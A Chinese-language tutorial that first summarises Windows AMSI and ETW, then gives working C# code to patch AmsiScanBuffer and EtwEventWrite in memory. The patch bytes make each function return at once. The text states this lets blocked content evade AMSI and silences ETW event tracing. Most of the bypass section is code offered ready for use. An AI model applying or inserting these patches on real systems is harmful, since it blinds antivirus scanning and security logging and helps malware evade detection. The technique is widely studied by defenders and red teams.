AMSI和ETW
反恶意软件扫描接口 (AMSI)
用途
Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许应用程序和服务与计算机上存在的任何反恶意软件产品集成。 AMSI 为最终用户及其数据、应用程序和工作负荷提供增强的恶意软件防护。
AMSI 与反恶意软件供应商无关;它旨在支持当今可集成到应用程序中的反恶意软件产品提供的最常见恶意软件扫描和保护技术。 它支持一种允许文件和内存或流扫描、内容源 URL/IP 信誉检查以及其他技术的调用结构。
与 AMSI 集成的 Windows 组件
AMSI 功能集成到 Windows 10 的这些组件中。
用户帐户控制,简称 UAC(EXE、COM、MSI 或 ActiveX 安装提升)
PowerShell(脚本、交互式使用和动态代码评估)
Windows 脚本宿主(wscript.exe 和 cscript.exe)
JavaScript 和 VBScript
Office VBA 宏
Windows 事件跟踪 (ETW)
Windows (ETW) 的事件跟踪提供一种机制来跟踪和记录由用户模式应用程序和内核模式驱动程序引发的事件。 ETW 在 Windows 操作系统中实现,为开发人员提供了一组快速、可靠且通用的事件跟踪功能。
AMSI内存补丁
原理
amsibuffer函数检查接收到的参数,如果接收到的参数无效,跳转到loc_180002681,0x80070057移入eax,然后返回。
通过覆盖amsibuffer函数的头部让其直接执行mov eax,0x80070057然后ret,这样我们就可以绕过amsi的检查流程。
//以x64为例
string library = "amsi.dll";
string function = "AmsiScanBuffer";
static byte[] patch = new byte[] { 0xb8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; //这段16进制机器码即是mov eax,0x80070057 ret
uint newProtect;
uint oldProtect;
IntPtr libPtr = win32.LoadLibrary(library); //获得dll句柄
IntPtr funcPtr = win32.GetProcAddress(libPtr, function); //查找函数在内存中的地址
win32.VirtualProtect(funcPtr, (UIntPtr)patch.Length, 0x40, out oldProtect); //设置内存地址可写
Marshal.Copy(patch, 0, funcPtr, patch.Length); //写入内存补丁
win32.VirtualProtect(funcPtr, (UIntPtr)patch.Length, oldProtect, out newProtect); //还原内存属性
可以看到内存中已经写入了我们的补丁
再输入相同的被禁止内容时不再被amsi阻止
ETW内存补丁
原理
EtweventWrite函数将寄存器中的一系列数据写入到栈中,然后调用子函数蛆处理这些数据。
和amsi内存补丁的原理本质上是一样的,也是通过覆盖关键函数头部来使其他功能失效。
//以x64为例
string library = "ntdll.dll";
string function = "EtwEventWrite";
static byte[] patch = new byte[] { 0x48, 0x33, 0xc0, 0xc3 }; //这段16进制机器码即是xor rax,rax;retn 把rax中的返回值设0,然后直接结束函数
uint newProtect;
uint oldProtect;
IntPtr libPtr = win32.LoadLibrary(library); //获得dll句柄
IntPtr funcPtr = win32.GetProcAddress(libPtr, function); //查找函数在内存中的地址
win32.VirtualProtect(funcPtr, (UIntPtr)patch.Length, 0x40, out oldProtect); //设置内存地址可写
Marshal.Copy(patch, 0, funcPtr, patch.Length); //写入内存补丁
win32.VirtualProtect(funcPtr, (UIntPtr)patch.Length, oldProtect, out newProtect); //还原内存属性